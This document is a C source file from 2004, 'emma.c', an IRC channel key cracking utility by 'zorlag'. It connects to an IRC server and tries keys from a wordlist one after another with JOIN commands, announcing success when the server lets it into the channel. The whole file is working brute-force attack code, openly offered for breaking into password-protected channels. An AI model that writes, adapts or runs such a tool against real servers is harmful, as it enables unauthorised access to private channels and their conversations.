/* emma.c - IRC channel key cracking utility * * by zorlag. (APR 2004) * * HI TO: angelo, dekadish, metoo &warlord ;) */ #include #include #include #include #include #include #include #define NICK "_emma" #define IDENT "emma" #define RLNAME "i is just too cute...." #define TIMEOUT 10 /* timeout needed to read the motd from server */ #define DELAY 5 /* delay between each try. 5 should be perfect */ int main(int argc, char *argv[]){ char *ip, *port, *target, *bleh, *bleheh, *keylst, *key; char buf[1024], channel[100], blah[100], blahah[100], lstbuf[512]; fd_set rfds; FILE *fp; int s, l; struct sockaddr_in sock; struct timeval tv; if(argc != 4){ printf("usage: %s \n\n", argv[0]); exit(0); } ip = strtok(argv[1], ":"); if((port = strtok(NULL, ":")) == NULL) port = "6667"; target = argv[2]; snprintf(channel, sizeof(channel), "#%s", target); keylst = argv[3]; if((fp = fopen(keylst, "r")) == NULL){ perror("fopen() failed"); exit(0); } if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket() failed"); exit(0); } sock.sin_port = htons(atoi(port)); sock.sin_family = AF_INET; sock.sin_addr.s_addr = inet_addr(ip); if((connect(s, (struct sockaddr *)&sock, sizeof(sock))) < 0){ perror("connect() failed"); exit(0); } printf("connected to %s:%s\n", ip, port); snprintf(buf, sizeof(buf), "NICK %s\n", NICK); write(s, buf, strlen(buf)); snprintf(buf, sizeof(buf), "USER %s skit skit :%s\n", IDENT, RLNAME); write(s, buf, strlen(buf)); while(1){ FD_ZERO(&rfds); FD_SET(s, &rfds); tv.tv_sec = TIMEOUT; tv.tv_usec = 0; l = select((s+1), &rfds, NULL, NULL, &tv); if(l){ read(s, buf, sizeof(buf)); printf("%s\n", buf); bleh = strtok(buf, " "); bleh = strtok(NULL, " "); snprintf(blah, sizeof(blah), "%s", bleh); if(strstr(buf, "PING")){ snprintf(buf, sizeof(buf), "PONG %s\n", blah); write(s, buf, strlen(buf)); } memset(buf, 0, sizeof(buf)); }else{ printf("breaking into %s\n", channel); while(!feof(fp)){ sleep(DELAY); if((key = fgets(lstbuf, sizeof(lstbuf), fp)) != NULL){ printf("trying %s", key); snprintf(buf, sizeof(buf), "JOIN %s %s", channel, key); write(s, buf, strlen(buf)); read(s, buf, sizeof(buf)); printf("%s\n", buf); if((strstr(buf, "353")) && !(strstr(buf, "NOTICE"))){ printf("WE ARE IN\n"); exit(0); } bleheh = strtok(buf, " "); bleheh = strtok(NULL, " "); snprintf(blahah, sizeof(blahah), "%s", bleheh); if(strstr(buf, "PING")){ snprintf(buf, sizeof(buf), "PONG %s\n", blahah); write(s, buf, strlen(buf)); } memset(buf, 0, sizeof(buf)); } } printf("FUCKING SHIT!\n"); exit(0); } } }